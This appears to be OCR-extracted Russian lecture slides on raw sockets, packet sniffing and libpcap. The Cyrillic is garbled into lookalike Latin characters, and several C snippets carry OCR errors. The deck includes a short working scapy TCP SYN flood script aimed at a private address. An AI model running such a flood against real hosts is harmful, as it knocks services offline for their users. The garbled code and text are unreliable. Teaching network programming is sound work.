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Coketbl. Raw sockets. libpcap



CnncoK OTKPbITbIX MOPTOB

e netstat -tlup
e |[sof -i



Raw sockets

e [lony4yaeTt nakeT Ha KaHanbHOM ypPOBHE(CbIpOW NaKeT)
e Vckniovaetcsa Bca obpabotka TCP/IP

e [lpumeHeHue:

CeTeBon CHUQMHT

Bnoknposka naketos(aepson)
CkaHupoBaHue nopToB
Cospganne VPN

Atakn DoS

NHbekuna naketoB
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OTnun4yne cokeTa OT CbIPOro CoKeTa

User Applications

Socket Interface
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Transport Layer Processing

IP Layer Processing

Ethernet Layer Processing ¢
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IP Layer Processing

Etharnet Layer Processing

NIC Card Driver

NIC Card Driver

CokeTt

Cblpon cokeT




OTKpbITNE

o .D.J'IH OTKPbITNA COKETA BaM HYXHbI 3 BeLm:

o Cewmencteo coketoB(AF_PACKET)
o  Twun coketa(SOCK_RAW)
o [lpotokon(if_ether.h)(htons(ETH_P_ALL))

int sock_r;
sock_r=socket (AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(sock_r<g)
{

printf(“"error in socket\n"”);

return -1;

}



[lpHMMaem ceTeBOU NakeT

[TpounTaTb HANPAMY

unsigned char *buffer = (unsigned char *)
malloc(65536); //to receive data

memset (buffer,0,65536);

struct sockaddr saddr;

int saddr_len = sizeof (saddr);

//Receive a network packet and copy in to
buffer
buflen=recvfrom(sock_r,buffer,65536,0, &saddr,
(socklen_t *)&saddr_len);

if(buflen<g)

{

printf(“error in reading recvfrom function\n”
)

return -1;

}

[TpuBA3aTh K agpecy

struct sockaddr_11 in_if;
in_if.sll_family = AF_PACKET;
in_if.sll_protocol = htons(ETH_P_ALL);
if (bind(in, &in_if, sizeof(struct
sockaddr_11)) == -1)
{

printf("bind err 6\n");

exit(-1);
}
unsigned char* buf = malloc(MAX_PKT_SIZE);
size_t size = read(in, buf, MAX_PKT_SIZE);



[Tapcum TO YTO Nony4Ynnu

e struct ethhdr - if_ether.h
e structiphdr-ip.h

void ethernet_header(unsigned char* buffer,int buflen)
{

struct ethhdr *eth = (struct ethhdr *)(buffer);

fprintf(log_txt, "\nEthernet Header\n");

fprintf(log_txt, "\t|-Source Address
%.2X-%.2X-%.2X-%.2X-%.2X-%.2X\n" ,eth->h_source[0], eth->h_source[1], eth->h_source[2], eth->h_sourc
e[3],eth->h_source[4],eth->h_source[5]);

fprintf(log_txt, "\t|-Destination Address :
%.2X-%.2X-%.2X-%.2X-%.2X-%.2X\n",eth->h_dest[0], eth->h_dest[1], eth->h_dest[2], eth->h_dest[3], eth
->h_dest[4],eth->h_dest[5]);

fprintf(log_txt, "\t|-Protocol : %d\n",eth->h_proto);
}



Co3gaHune cobCcTBEHHbIX NAKeTOoB

e scapy - python https://github.com/secdev/scapy
o MeaneHHbIn, HO Bonee nNpocTon

e libnet - ¢ https://qgithub.com/libnet/libnet
o  bbICTpbIN HO NOCNOXHEE



https://github.com/secdev/scapy
https://github.com/libnet/libnet

TCP synflood

e Co3pagnm coOCTBEHHbIN NakeT
e lcnonbayem scapy nnu libnet

from scapy.all import *

target_ip ="192.168.1.1"

target_port = 80

ip = IP(dst=target_ip)

tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
raw = Raw(b"X"*1024)

p=ip/tcp/raw

send(p, loop=1, verbose=0)



libpcap

e [IporpammHbIN tcpdump

e Cam no cebe HMYEro He NepexeaTbIBAET, UCMOMNb3YTCSA MEXaHU3Mbl Ha
yposHe sapa: BPF, PF_RING

e [lo3BonseTt 3agaBaTtb QUNbTPLI 3axBaTa(U3 1 cemmnHapa)

e MoxHo unTaTtb Kak ¢ MHTepdenca Tak u dpanmna pcap

char errbuf[512];
pcap_t *handle = pcap_open_live("eth®", 65535, 1, 1000, errbuf);
if ('handle) {

printf("pcap_open_online error");

return;

struct bpf_program filter;

if (pcap_compile(handle,&filter, "icmp",0,0) == -1) {
printf("wrong bpf filter");
return;

}

pcap_pkthdr *header;

const uint8_t *data;

auto recv = pcap_next_ex(handle, &header,&data);



